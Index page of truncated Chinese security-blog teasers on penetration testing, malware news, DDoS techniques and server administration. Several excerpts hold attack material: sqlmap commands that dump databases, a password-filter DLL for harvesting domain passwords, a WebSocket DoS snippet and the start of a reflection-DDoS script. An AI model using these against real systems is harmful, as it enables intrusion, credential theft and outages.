0×00. 前言有时候我们遇到一个存储型XSS 漏洞，但是sessionId设置了httpOnly，劫持不了会话，显得很鸡肋，让渗透测试人员很蛋疼，不过这种情况正在好转，随着HTML5的流行，通过HTML5 的CORS功能实现跨域通信，建立HTTP tunnel通信，实现会话劫持已经变成可能，本文就通过实测验证HTML5的CORS条件下的xss会话劫持的可行性。关于HTML5 的CORS 特性，请参考：http://www.ruanyifeng.com/blog/2016/04/cors.html0×01. 前提条件1）有一个存在XSS 漏洞的站点（最好是存储型的）2）站点cookie使用了httpOnly3）客户端浏览器支持HTML5 (因为用户端【被控端】和控制端需要通过HTML CORS 跨域通信，建立http通道)0×02. 本次实验环境漏洞环境：1.修改后的dvwa （修改默认security level 修改为high，且high level下设置了httpOnly标志）使用到的工具：2.用户端浏览器使用chrome3. Shell of the Future_v0.9本文用到的最重要工具，用来实现XSS会话劫持，关于Shell of the Future，请参考：http://www.andlabs.org/tools/sotf/sotf.htmlShell of t ...继续阅读 (74)

简介在组策略之外，Windows 允许你自定义密码策略，滥用这个机制可以实现一些恶意行为。今天为大家科普下当我们按下 CTRL + ALT + DEL，修改用户密码时，在 Windows 服务器端，会发生什么呢？首先，Windows 服务器（域控）会检查注册表，找到 Password Filter，也就是LSA Notification Package。然后挨个调用DLL，检查密码是否符合策略，如果不符合策略，就提示密码不够健壮，在默认情况下，域上的服务器包含两个DLL，其中 seccli 负责实现密码安全策略，也就我们常用的GPO了我们今天的主题，就是如何滥用这个机制，实现一个密码策略插件，以记录所有域用户的密码一家上市公司，为了符合SOX 404审计要求，密码每三个月就要强制修改一次，刚好可以触发这个机制查了下官方文档，一个密码插件需要导出三个函数，其中 PasswordFilter 负责检查密码是否合规；PasswordChangeNotify 是在工作站上执行，负责告知工作站用户密码变更。最终的源代码和64位的DLL可以在这里下载（使用 build.cmd 编译）安装插件我们登陆域控，将编译好的 SecureFilter.dll 复制到 %system32% 目录，然后打开注册表，找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\C ...继续阅读 (82)

近年来，随着移动互联网的兴起，各种传统的业务逐渐转至线上，互联网金融，电子商务迅速发展，商家针对营销及交易环节的推广活动经常以返利的形式进行。由于有利可图，此类线上推广迅速滋生了针对返利的系统性的优惠套利欺诈行为，俗称薅羊毛。由于移动设备的天然隐蔽性和欺诈行为的多变性，传统的防范手段，比如规则系统等就显得有些笨拙和捉襟见肘了，使得薅羊毛看起来仿佛防不胜防。但是正所谓魔高一尺，道高一丈。在实践中，我们发现，一个基于统计和机器学习的多层动态风险评分体系和决策系统能有效地抵御“羊毛党”的攻击。那如何打造这样一个系统呢？首先，我们来了解下此系统的核心部分之一：特征工程。特征工程，又称特征学，是学习一个特征的技术的集合，将原始数据转换成为能够被机器学习来有效开发的一种形式。通俗地讲，特征工程对原始数据进行加工，将其转换为精确的，可量化的数据。著名法国小说《小王子》中有这样的描述：“如果你对大人们说‘我看到一幢用玫瑰色的砖盖成的漂亮的房子，它的窗户上有天竺葵，屋顶上还有鸽子……‘，他们想象不出来房子有多好，必须对他们说‘我看见了一幢价值十万法郎的房子’他们才能理解房子有多好。”文中，从房屋模糊的文学性描述到“十万法郎”就是一个特征学习的例子。特征工程转换后的数据能被更好的理解和运算，方便我们从貌似渣乱无章的原始数据中找出那些可疑的异常数据。它是机器学习中很重要的一步，也许是最重要的一步。在机器 ...继续阅读 (78)

前言为了渗透用户的实际设备，将合法的安卓应用程序作为一个木马来使用是有可能的。正好，现在Metasploit框架已经有了这样的能力。可以将Metasploit载荷注入到Android应用(APK)中，该过程可以手动完成，也可以自动完成。这篇文章将主要探讨自动注入过程。当然，如果时间宽裕，使用手动方法也是可以考虑的。生成载荷可以使用Metasploit生成安卓渗透载荷，并将文件存储为APK格式，如下图所示：将载荷注入到APK中将刚才生成的载荷注入到一个安卓应用中之前，需要先有一个目标安卓应用程序(APK文件)。如果该应用已经安装在手机中，那么这篇文章“Retrieving APK Files”可以当作从手机中提取APK文件的一个指南，当然，也可以从谷歌应用商店中直接下载应用。有很多公开的脚本可以将Metasploit载荷注入到一个安卓应用中。然而，在某些特定的场景中，为了创建、并自动注入Metasploit载荷，也可以使用msfvenom工具，如下图示例所示：Msfvenom会对该应用程序进行反编译，然后会找到可以注入载荷的钩子点。进一步，它会利用可用于后渗透活动的附加权限使该应用程序的Android清单文件染毒。下图为输出结果：当然，使用Msfvenom执行载荷注入不是本文的主要目的，在本文中，我们使用apkinjector工具执行载荷注入活动，其它可以用于此目的的脚本还有以下几个 ...继续阅读 (78)

概述本周二，微软推送了一个重大补丁，修复了许多个重大安全漏洞，极大地提高了Edge浏览器开发者及其安全性的声誉。但我希望微软能够说服那些依然遵循荒唐的IE政策的守旧派，或者至少能够公开的解释一下他们为什么毫不关心IE——要么废除它，要么保护它。如果你还没有看过之前的一篇《使用恶意软件警告欺骗地址栏》，建议你在阅读下面讲如何绕过补丁的文章之前先去看一下。（注：有中文版本）超快速回顾微软Edge允许我们加载它的一些包含.html页面的内部资源，比如像acr_error.htm就可以，但是像BlockSite.htm这样的却不行。这是为什么呢？因为后者可以轻松地欺骗内部恶意软件警告消息和地址栏。几个月前，我们曾通过改变URL中的一个句点使其变成转义副本的方法绕过了这一限制。不过现在这个漏洞已经被修复了，Edge开发者做了更改使得在进行检查/字符串比较操作之前事先解码了我们的欺骗URL。所以，我们现在需要找到一种新的方法。来吧！现在关掉手头让你分心的事物，投入时间并沉浸在这趣味无穷的比特世界中。目前没有符号名文件微软的很多公开符号都没有上传，所以我们就无法在极短的时间内出色地完成分析。但也不用太过担心，不管怎样我们都会尽力并成功绕过它。只需要以攻击者的方式时刻在心中记住这一点：我们的目标是绕过这个补丁，就是这样。而不是一直纠结于：“唉，我需要休息一周的时间直到微软推送了符号名才行。”查找并 ...继续阅读 (71)

前言OpenSSL是一个流行的SSL开源库，被世界各地的各种软件和公司使用。1月份，OpenSSL发布了一个更新以修复多个漏洞。其中之一就是CVE-2017-3731，这可能导致由于程序崩溃而引发的拒绝服务。McAfee 实验室分析了此漏洞来为客户提供检测。使用patch diff来找出修改的地方补丁修改了一些与各种密码算法相关的文件。对于本报告，我们将检查代码e_chacha20_poly1305.c。以下代码显示此文件的修补程序，取自https://git.openssl.org/?p=openssl.git;a=commitdiff;h=2198b3a55de681e1f3c23edb0586afe13f438051。我们可以看到，添加了一个简单的步骤来检查变量长度的值与常量POLY1305_BLOCK_SIZE的大小关系，而紧接着下面我们看到变量“len”减去了这个常量。如果我们查看声明就能发现，POLY1305_BLOCK_SIZE在文件poly1305.h中声明为“#define POLY1305_BLOCK_SIZE 16”。而变量len在e_chacha20_poly1305.c中定义为“unsigned int len;”。因此，如果变量len小于16，它将导致整数下溢，也就是说，len的值将变得非常大。然后当该值被使用时，可能会导致正常程序流出现问题，因为len ...继续阅读 (75)

前言生产环境中的软件通常会存在一些漏洞，这些漏洞可能是由于糟糕的编码实践或者在软件开发生命周期里对安全的处理代码参数缺乏足够的认识造成的，最终导致漏洞被黑客利用。攻击软件同时需要安全策略能力和开发技能，但是很不幸，很多开发商本身也不具备这些能力。在本篇中，我们将展示在没有源代码的情况下怎么通过反汇编来给软件打补丁（存在缓冲区溢出漏洞）。有漏洞的软件给软件打补丁是一种通过反汇编找到有问题的代码段并修改有问题代码的方法。我们的例子是一个很简单的程序，它接受用户输入的一段字符串，然后再输出到屏幕上。但是这个程序存在一个问题，机智的黑客很容易就会发现它。这里开发者忘记验证用户的输入了，假如用户输入的字符串长度超过了预期怎么办？现在我们就输入超长的字符串，程序出现了一些异常，系统提示了一个缓冲区溢出错误并终止了（缓冲区溢出漏洞不属于本篇的内容，请读者自行了解）。这个异常不是程序的预期结果。分析BUG现在我们已经知道程序存在缓冲区溢出漏洞了，但是我们没有源代码该怎么修复呢？当然有办法，现在已经有很多著名的逆向工程工具了，这里我们将使用IDA Pro和Ollydbg来完成任务。首先使用IDA Pro打开可执行程序，通过查看汇编代码我们很快就能发现漏洞的原因了，scanf函数没有检查输入字符串的长度（%s）。我们已经找到要修复的代码段了（scanf），现在只需要在格式化输入字符串中加入一个整数就可 ...继续阅读 (75)

前言CTF中最近几年出现了一种比较新类型的题目，blind pwn，这种pwn不给你提供二进制程序，只是提供一个ip和port，其中有一种就是利用格式化字符串你漏洞的blind pwn，是通过格式化字符串漏洞的任意读和任意写功能通过使其泄露信息从而实现目的。在学习这种格式化字符串的blind pwn时，由于对格式化字符串漏洞不太熟悉，因此遇到了很多坑，所以打算写一个通俗易懂的教程，有做的麻烦之处请大佬们指出。下面来介绍一种最基础的blind pwn，也就是格式化字符串的，程序是32位的elf，环境是ubuntu_1604_x64。基础知识格式化字符串的漏洞在网上有很多教程，在这里我简要提一点这个教程中用到的关键技术。以下的N需要代换成10进制的整数，而且大小是有限制的。%N$p：以16进制的格式输出位于printf第N个参数位置的值；%N$s：以printf第N个参数位置的值为地址，输出这个地址指向的字符串的内容；%N$n：以printf第N个参数位置的值为地址，将输出过的字符数量的值写入这个地址中，对于32位elf而言，%n是写入4个字节，%hn是写入2个字节，%hhn是写入一个字节；%Nc：输出N个字符，这个可以配合%N$n使用，达到任意地址任意值写入的目的。题目示例泄露栈信息运行泄露脚本的程序输出：为了加深理解，我也放上了对程序使用gdb实际调试时的栈情景，breakpoin ...继续阅读 (77)

伪静态注入1.在存在注入的地方加上*,然后获取数据库 sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" --dbs 2.获取数据库中的表 sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" -D 数据库名 --tables 3.获取数据库中的字段 sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" -D 数据库名 -T 表名 --columns 4.获取字段的内容 sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" -D 数据库名 -T 表名 -C "字段名1,字段名2" --dumpPOST登陆框注入1.burpsuite + sqlmap 利用burpsuite抓包保存为txt，利用sqlmap指定文本注入(使用方法请自行百度) 注入点：http://www.xx.com/Login.asp sqlmap.py -r test.txt -p Password 2.自动注册表单，截取数据。(直接在后面加[--forms]) sqlmap -u "http ...继续阅读 (77)

Access数据库注入1.判断注入的是否存在注入漏洞 sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" root@tiejiang:~# sqlmap -u(-u：指定一个URL) "http://www.xxx.com/xx.asp?id=xxx" 2.获取表名 sqlmap -u “http：//www.xxx.com/xx.asp?id=xxx” --tables root@tiejiang:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --tables 3.获取字段名 sqlmap -u “http://www.xxx.com/xx.asp?id=xxx” --columns -T 表名 root@tiejiang:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --columns -T admin 4.获取字段中的内容 sqlmap -u “http://www.xxx.com/xx.asp?id=xxx” --dump -T 表名 -C "字段名1,字段名2..." root@tiejiang:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --dump -T admin -C " ...继续阅读 (72)

CheckPoint的专家们最近在38台Android设备中发现了严重的感染情况，这38台设备属于一家大型通讯公司和一家跨国科技企业。重点是这些恶意软件并不是用户主动安装的，而是在购买时就预装的——虽然并不是厂商的官方固件。研究人员在报告中指出，恶意软件在用户收到手机之前就已经预装。这些恶意软件并不是在厂商官方ROM中的，而是在供应链中的某个环节被装上了。更可怕的是，有6款恶意软件是利用了系统权限装到设备上的，也就是说除非刷机，用户无法移除软件。其中有6台设备内置了恶意广告网络，apk为com.google.googlesearch；其他设备中存在Loki恶意软件，apk为com.androidhelper.sdk。研究人员们发现的预装恶意软件大部分都是收集信息、散播广告的，不过其中一款是Slocker。这款软件是移动端的勒索软件。Slocker使用AES加密算法加密设备上所有设备，并且向用户索要赎金换取解密密钥。Slocker会使用Tor作为C&C;服务器。而Loki恶意软件也值得一提。这款软件非常复杂，能够使用多个组件运行，每个组件都有其自己的功能和角色。这款软件会显示非法的广告获取收入。程序还会窃取设备数据、安装到系统，从而获得手机全部权限并常驻手机。影响范围预装恶意软件的机型包括：Galaxy Note 2LG G4Galaxy S7Galaxy S4Galaxy Note ...继续阅读 (63)

0×00、业务需求由于工作关系，最近一年来都奔走在各大安全会议，无论是公开会议，例如:ISC互联网大会、freebuf互联网大会等、还是半公开的会议，例如某SRC组织的互联网金融会等。互联网安全运维人员都在谈自己企业的运维平台是如何建立的。这里我简单用思维导图总结一下：有一定研发能力的互联网安全团队都在建立自己的安全运管平台。我想这样做的目的是：（1）半自动化或者全自动化安全运维规则，提高工作效率，降低人力成本。（2）现有安全厂商提高的产品无法满足用户日益增长业务安全需求，业务架构变更。例如：日志管理部分，传统SIEM是无法满足 50万QPS Web日志处理能力，需要storm/spark架构处理。（3）降低人员变动带来的业务安全的稳定性当然这种安全投入是巨大的，而且需要持续发展才能摊平成本。0×01、端口扫描需求分析1、竞品获得需求：传统扫描器云扫描器企业内网端口扫描器检查模式并发分布式/并发并发IP端口资产管理不支持支持支持IP端口资产变更告警不支持支持支持检查是否开放违规端口不支持支持支持2、安全经验获得需求操作系统分布windows操作系统版本分布web容器分布IIS版本分布数据库端口对外开放mysql数据库版本分布暴力破解协议分布OpenSSH版本分布3、简单数据挖掘分析获得需求在此之前做了一部分数据采集工作，表一ip_result.csv主要记录主机IP、域名、是否存活 ...继续阅读 (72)

PHP-malware-finder 是一款优秀的检测webshell和恶意软件混淆代码的工具，比如以下组件都可以被检测发现。Best PHP ObfuscatorCarbylamineCipher DesignCyklodevJoes Web Tools ObfuscatorP.A.SPHP JiamiPhp Obfuscator EncodeSpinObfWeevely3atomikucobra obfuscatorphpencodetenncweb-malware-collectionwebtoolsvnnovahot工作原理PHP-malware-finder的检测原理是基于YARA规则爬取文件系统和测试文件，如可以发现经过两次编码、解压的危险参数。使用方法两种使用方法:$ ./phpmalwarefinder -h Usage phpmalwarefinder [-cfhtv] [-l (php|asp)]... -c Optional path to a configuration file -f Fast mode -h Show this help message -t Specify the number of threads to use (8 by default) -v Verbose mode -l ...继续阅读 (87)

说明：由于zabbix的web前端默认没有中文字库，因此zabbix图形化显示时下面的中文都是方框。解决方法就是拷贝中文字体到zabbix前端具体：1、拷贝字体 [root@tiejiang01 ~]# cd /var/www/html/zabbix/fonts/ //zabbix前端位置，可以看到只有DejaVuSans一种字体 [root@tiejiang01 fonts]# ls DejaVuSans.ttf [root@tiejiang01 fonts]# wget dl.gaingreat.com/SIMHEI.TTF //SIMHEI.TTF为黑体 [root@tiejiang01 fonts]# # mv SIMHEI.TTF SIMHEI.ttf;2、修改zabbix的web前端加载的字体 [root@tiejiang01 ~]# vim /var/www/html/zabbix/include/defines.inc.php define('ZBX_FONT_NAME', 'DejaVuSans'); define('ZBX_GRAPH_FONT_NAME', 'DejaVuSans'); 将这2行修改为以下，其中SIMHEI为字库名字，不用写ttf后缀 de ...继续阅读 (73)

和MySQL主从复制的原因一样，Redis虽然读取写入的速度都特别快，但是也会产生读压力特别大的情况。为了分担读压力，Redis支持主从复制，Redis的主从结构可以采用一主多从或者级联结构，下图为级联结构。Redis主从复制可以根据是否是全量分为全量同步和增量同步。1 全量同步Redis全量复制一般发生在Slave初始化阶段，这时Slave需要将Master上的所有数据都复制一份。具体步骤如下：从服务器连接主服务器，发送SYNC命令； 主服务器接收到SYNC命名后，开始执行BGSAVE命令生成RDB文件并使用缓冲区记录此后执行的所有写命令； 主服务器BGSAVE执行完后，向所有从服务器发送快照文件，并在发送期间继续记录被执行的写命令； 从服务器收到快照文件后丢弃所有旧数据，载入收到的快照； 主服务器快照发送完毕后开始向从服务器发送缓冲区中的写命令； 从服务器完成对快照的载入，开始接收命令请求，并执行来自主服务器缓冲区的写命令；完成上面几个步骤后就完成了从服务器数据初始化的所有操作，从服务器此时可以接收来自用户的读请求。2 增量同步Redis增量复制是指Slave初始化后开始正常工作时主服务器发生的写操作同步到从服务器的过程。增量复制的过程主要是主服务器每执行一个写命令就会向从服务器发送相同的写命令，从服务器接收并执行收到的写命令。3 Redis主从同步策略主从刚刚连接的时候，进行 ...继续阅读 (77)

如何用最好地保护一个系统免受黑客攻击？当然是站在黑客的视角来看待系统的安全问题。昨日Metasploit就以此为出发点，发布了一个漏洞模拟工具——Metasploit Vulnerable Services Emulator。作为一款开源工具，安全人员可以通过它提供的漏洞操作平台来测试渗透测试目标。想到之前的Metasploitable2和Metasploitable3也有同样的功能，为什么还要特地出一个Metasploit Vulnerable Services Emulator？开发者Jin Qian在他的博客中这样写道：使用没有脆弱性测试服务的Metasploit去对抗黑客攻击是有难度的，我们开发的这个模拟器就是为了填补这个空缺。这款工具的框架使得操作者能够更轻松地对渗透测试目标进行漏洞仿真测试。很多人可能会想，为什么我们不给每个测试、训练模块配置脆弱性测试服务。原因很简单：这很耗费时间，且配置脆弱性测试服务很复杂。首先，你需要有漏洞软件，需要下载吧，但是有时候软件太老了没有地方下载。有些较老的软件还可能因为安全问题被厂商移除了。针对一个软件配置脆弱性测试服务需要耗费几个小时，时间长短取决于这个软件。即便有Metasploitable虚拟机使你在第一次建立漏洞实验室便捷很多，但是依然不简单。设计这个模拟器有两个目的：●测试Metasploit模块●帮助用户学习Metasplo ...继续阅读 (88)

一、redis简介Redis是一个key-value存储系统。和 Memcached类似，但是解决了断电后数据完全丢失的情况，而且她支持更多无化的value类型，除了和string外，还支持lists（链表）、 sets（集合）和zsets（有序集合）几种数据类型。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作， 而且这些操作都是原子性的。二、redis的安装首先从在官网下载redis源码安装包，下载地址：https://github.com/antirez/redis.git目前最新分支为3.2[root@tiejiang01 ~]# git clone -b 3.2 https://github.com/antirez/redis.git 下载完成之后进入redis目录，编译安装直接是 [root@tiejiang01 redis]# make [root@tiejiang01 redis]# make install 如果安装提示下面报错，可以执行一下：make distclean [root@localhost redis-3.2.0]# make cd src && make all make[1]: Entering directory `/opt/redis-3.2.0/src' ...继续阅读 (70)

Redis是一个高性能的key-value数据库, 支持主从同步, 完全实现了发布/订阅机制, 因此可以用于聊天室等场景. 主要表现于多个浏览器之间的信息同步和实时更新.和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。数据可以从master向任意数量的slave上同步，slave可以是关联其他slave的master。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制，使得slave在任何地方同步树时，可订阅一个频道并接收master完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助.redis-cli执行redis-cli即可启动命令行工具, 也可自行指定host及port.[root@tiejiang01 ~]# red ...继续阅读 (72)

近日，网络安全公司Trustwave发布了一份报告，称在一家名为DBL Technology（得伯乐科技）的中国公司生产的GoIP GSM语音网关中发现了一个隐藏后门（…due to a vendor backdoor…）。该后门存在于设备的Telnet服务中，黑客可利用其身份验证机制上的漏洞获取具有root权限的shell。事实上，这也不是国产设备第一次被发现留有后门，如之前我们报道过的锐嘉科与上海广升。DBL Technology（得伯乐科技有限公司）是一家位于深圳的通讯设备生产商，主要产品包括GSM语音网关，IP电话网关，企业级软交换等，多用于电话公司及VoIP服务商。具体来讲，该系列网关在产品文档里向用户提供了两个可用于Telnet登录的帐号：“ctlcmd”与“limitsh”。这两个帐号提供有限的权限，且可由用户自行更改密码。然而这次的问题出在第三个帐号：“dblamd”身上。据Trustwave分析，该帐号未被列入产品文档，可能仅用于测试阶段。“dbladm”具有root级别的权限，并应用了“挑战-响应”（challenge-response）身份验证技术。该验证方式会在用户申请登录后发送一个字符串（即challenge信息），然后用户根据自己的密钥或算法加密challenge信息再返还给服务器进行验证（即response）。但Trustwave的安全研究团队表示，该 ...继续阅读 (77)

回顾我们在上一篇文章中讨论 TDD 开发渗透工具，并且完成了我们 HTTP 代理扫描器的一个功能模块。那么我们接下来就继续使用 TDD 完成接下来的部分，大家也深入理解一下这种开发方式的好处（可是代码量大啊~hhhh）。如何继续上次的任务？先运行测试用例！如果上次的任务没有完成，你就需要继续调整你的代码，修改，通过测试用例，这就是你首先要做的，当然如果上次的任务你完成了，测试用例顺利通过，那么当然好啊，接下来你就可以直接再写一个测试用例，开始一个新的功能或者模块了。继续在之前的文章中我们完成了针对一个地址的代理验证，那么，我们接下来应该怎么做呢？如果我们有一堆地址需要检测，这样我们就要处理两大问题：安全的多线程(多进程)并发正确收取结果短小精干的并发处理这样的话，涉及到多线程编程，保证线程安全什么 BlaBla，对于一个渗透测试爱好者来说，可能会稍微有一点挑战：（我平时写的爆破甚至都是单线程的！），写多线程还是有点麻烦的！当然我这里也有考虑到这一点，在写过很多类似的脚本之后，最近也算是首创了一种短小精悍的并发框架，具体的开发流程自然也是 TDD，这里我就不会和上次一样很细致的一步一步来讲到底是怎么写的。我们就一起来看一下吧！def test_pool(self): '''测试并发''' #定义一个任务函数，参数 *args 不定长 def demo_tas ...继续阅读 (70)

前言之前在 Freebuf 的文章“关于渗透测试工具开发架构探讨”，读者有提出，具体应该怎么写呢？第一步做什么？第二步做什么？现在我觉得自己有一些体会了，也自己觉得自己还是有把握把这个事情解释清楚的，那么我就来写一些东西，来讲一下我很喜欢的一种敏捷开发方法： TDD。什么是 TDD 以及 我为什么推荐 TDD做过一些软件开发的朋友们可能会知道这个东西 TDD(Test-Driven Development)，诚然我自己之前的开发也并不是 TDD，而是传统的开发，写文档，开发，写文档的“瀑布”开发。当然自己也是开始尝试进行一些系统的 Web 开发训练的时候深深体会到了 TDD 开发的优势，想到了 Freebuf 这边还有一个坑没填，那就来结合现在的经验谈一下这个事情吧！Test-Driven Development 顾名思义，就是利用测试来驱动(督促)开发进展中文名也就是测试驱动开发，简称 TDD。是一种敏捷开发模式。当然这么说大家会觉得非常抽象。那我就通俗的来解释一下，可能有不恰当的地方，希望读者在评论区指出：众所周知瀑布式开发一般来说写代码-写文档-写代码-写文档-… 。每一个周期与周期之间唯一的衔接就是文档；但是 TDD 是测试驱动的，就是先有测试用例 (testCase)，然后再有代码（听起来是不是非常的奇怪），其实想想非常的常见，不就是现有需求后代码么？没错啊，TDD 可以 ...继续阅读 (86)

你或许不会知道，咱们其实可以用windows注册表来检测是否曾经有一个特殊的USB设备连接过你的电脑。验证USB设备的插入的重要性大家可能不会相信，也许有一天咱们真会用上这个小技巧。比如你朋友的移动硬盘里被警察从你这里搜了出来，但是里面装满了儿童岛国动作片。这时候，证明这玩意儿不是你的就显得非常重要了。我们想要检查某一台USB设备是否插入过自己的电脑，可以采用操作windows注册表的方式。因为每当有设备连接到你电脑的USB接口时，系统会将设备序列号和相应的信息储存在注册表中。windows注册表验证USB设备的插入下面我们将演示下如何找到设备的信息：1. 同时按下WIN+R键，也就是打开“运行”。2. 输入regedit，按下回车。3. 转到HKEY_LOCAL_MACHINE\SYSTEM\ControlSet00x\Enum\USBSTOR（这里ControlSet00x里的下可以是任何数字）4. 下面就能列出连接过我们电脑的USB设备了，图里画红框框的就是：咱们点击下注册表中任意一台设备就可以发现，它们都有由设备制造商指定的独立id。所以，如果我们想分辨是否有新的USB设备连接到该电脑上，肯定是非常容易的。下面的图里，我们可以看到电脑对某台USB设备收集的相关信息：如果下次如果你的U盘丢了，你又不好意思去质问你的朋友或同伴。也许在这时候，找机会翻翻他的注册表会是个不错的主意 ...继续阅读 (71)

0×01 前言前几天我已经分别发了三篇关于DDOS攻击相关的文章，我也是第一次在freebuf上发表这种文章，没想到有那么多人点击我真的很开心，前几天我为大家介绍的DDOS攻击的方法和原理都是已经出现过大规模攻击行为的，或者说是已经实践过的，今天我要讲的是还没有发生过大规模攻击行为的新方法–websocket和临时透镜，这两种方法其实以前早就有人介绍过了，但是我做的研究比以前发表过的那些可能更具体些，我也想把我的试验过程和一些心得分享给大家，大家一起交流一下将新技术实现的新方法。0×02 websocket实现DDOS攻击websocket是 是HTML5一种新的协议。它实现了浏览器与服务器全双工通信(full-duple)。目前主流的浏览器都能很好地支持websocket，而且用它实现DOS攻击也并不是很难，只要是在js代码中写入相应的代码，当人们打开这个网页是浏览器会自动执行js代码去请求连接要攻击的IP地址，说的有点绕口不过看看代码就能很清楚明白了CODE: // 创建一个Socket实例 var socket = new WebSocket('ws://localhost:80'); // 打开Socket socket.onopen = function(event) { // 发送一个初始化消息 socket.send('I am freebuf !' ...继续阅读 (80)

0×01 前言之前发了一篇关于反射DDOS攻击原理以及反射资源扫描的文章，本来今天的这个应该并到那篇文章里，共称为反射DDOS攻击扫描与利用，但是我怕这样做会教坏小孩子，我发第一篇DDOS文章的时候freebuf就502了。。。。。凑巧了，弄得我都不敢发利用代码了，但是我想了一天以后我觉得我还是发出来吧，毕竟我写的也不好，没必要藏着掖着的，我还会把payload去掉，让大家自己填写，这就不算是我搞破坏了。废话不多说了，赶紧发完下班了。0×02 代码的使用方法首先，我这是在linux环境下写的，开始我用windows开发的，但是总是不成功，调用python的原始套接字伪造源IP地址总是不能发出去，后来我换到linux上就好了（kali），我并没有调用第三方的库，只要是linux+python就可以执行，在执行之前需要先在利用代码的同文件夹中建一个ipaddress.txt文件 ，作为反射攻击的反射资源地址池，多点少点都行，但是记住最后一行不要空着，不然程序报错，格式就如同下图（IP地址，端口号）：利用代码就是如下这些了。。。。#!/usr/bin/python #-*-coding:utf-8-*- import socket import struct import random import threading class myThread (threading.Thread ...继续阅读 (70)

0×01 前言前几天提交了一篇关于DDOS攻击的文章到今天下午才审核通过发表出来，所以晚上闲来无事在接着写下面的内容，今天我就不多说废话了直接来干货。目前来说流量型反射DDOS攻击都是以UDP为载体的，毕竟TCP的三次握手就让伪造源地址反射大流量变得不现实（tcp反射ACK倒是还行- -！）下面来看看一般能用于反射放大的协议以及放大倍数吧现在TFTP也被利用来进行DDOS反射了，据说放大倍数也很可观，根据表中显示看来NTP放大倍数最高，不过NTP服务器不多，而且开了monlist的更少了，我倒是扫描到过一两个，但是DNS和snmp可就是多如牛毛了，而且SNMP的放大倍数也不是他说的那么小，我今天刚测试发送一个140字节左右的报文能收到1400多字节的恢复，因为我那本破SNMP的书没细说SNMP报文的详细构造，我没能精确的构造SNMP的报文，只能去找了一个现成的，好今天我主要就讲NTP、SNMP和DNS的反射攻击和反射资源的扫描。0×02 反射放大攻击的原理很多协议的请求包要远小于回复包，以一个字节的数据换十个字节的数据回来，这就是一种放大，但是你这单纯的放大攻击的是自己啊，所以说想要攻击别人就要在发送请求包时把源地址写成要攻击的人的地址，这样回复的大字节报文就去你要攻击的人那里了，这都是很简单的道理我想也不用我多说这里放大主要利用的是NTP的monlist（listpeers也行） ...继续阅读 (77)

普通拒绝服务攻击是指一些传统的攻击方式，如：SYN FLOOD攻击、ACK FLOOD攻击、CC攻击、UDP  FLOOD攻击 等等，下面会详细介绍。SYN FLOOD攻击Syn flood攻击是利用TCP协议的一些特性发动的，通过发送大量 伪造的带有syn标志位的TCP报文 使 目标服务器连接耗尽，达到拒绝服务的目的。要想理解 syn flood的 攻击原理 必须要先了解TCP协议建立连接的机制。TCP（Transmission Control Protocol  传输控制协议）是一种面向连接的、可靠的、基于字节流的传输层 通信协议。在TCP/IP协议簇中，TCP层是位于IP层之上，应用层之下的中间层。不同 的主机的应用层之间通信，通 常需要可靠的、像管道一样的连接，但是IP层（网络层）不提供这样的可靠字节 流机制，而是提供不可靠的数据包交换。因为TCP是可靠的传输方式，所以 在通信之前需要建立连接，TCP建立连接的方式就是著名的TCP三次握手（如图3-1-1） ：syn flood攻击就是在三次握手机制的基础上实现的。攻击者通过伪造IP 报文，在IP报文的原地址字段随机填入伪造的IP地址，目的地址填入 要攻击的服务器IP地址，其他TTL、ID 以及TCP中的Source Port等随机填入合理数据，TCP的目的端口填入目的服务器开放的 端口 如：80、8080等，syn标志位置 ...继续阅读 (86)

一、背景晚上看到有台服务器流量跑的很高，明显和平常不一样，流量达到了800Mbps，第一感觉应该是中木马了，被人当做肉鸡了，在大量发包。我们的服务器为了最好性能，防火墙（iptables）什么的都没有开启，但是服务器前面有物理防火墙，而且机器都是做的端口映射，也不是常见的端口，按理来说应该是满安全的，可能最近和木马有缘吧，老是让我遇到，也趁这次机会把发现过程记录一下。二、发现并追踪处理1、查看流量图发现问题查看的时候网页非常卡，有的时候甚至没有响应。2、top动态查看进程我马上远程登录出问题的服务器，远程操作很卡，网卡出去的流量非常大，通过top发现了一个异常的进程占用资源比较高，名字不仔细看还真以为是一个Web服务进程。3、ps命令查看进程的路径发现这个程序文件在/etc目录下面，是个二进制程序，我拷贝了下来，放到了本文附近位置，以供大家在虚拟机上面研究，哈哈。4、结束异常进程并继续追踪干掉进程之后，流量立刻下来了，远程也不卡顿了，难道删掉程序文件，干掉异常进程我们就认为处理完成了么？想想也肯定没那么简单的，这个是木马啊，肯定还会自己生成程序文件（果然不出我所料，在我没有搞清楚之前，后面确实又生成了）我们得继续追查。5、查看登录记录及日志文件secure通过命令last查看账户登录记录，一切正常。查看系统文件message并没有发现什么，但是当我查看secure文件的时候发现有些 ...继续阅读 (70)

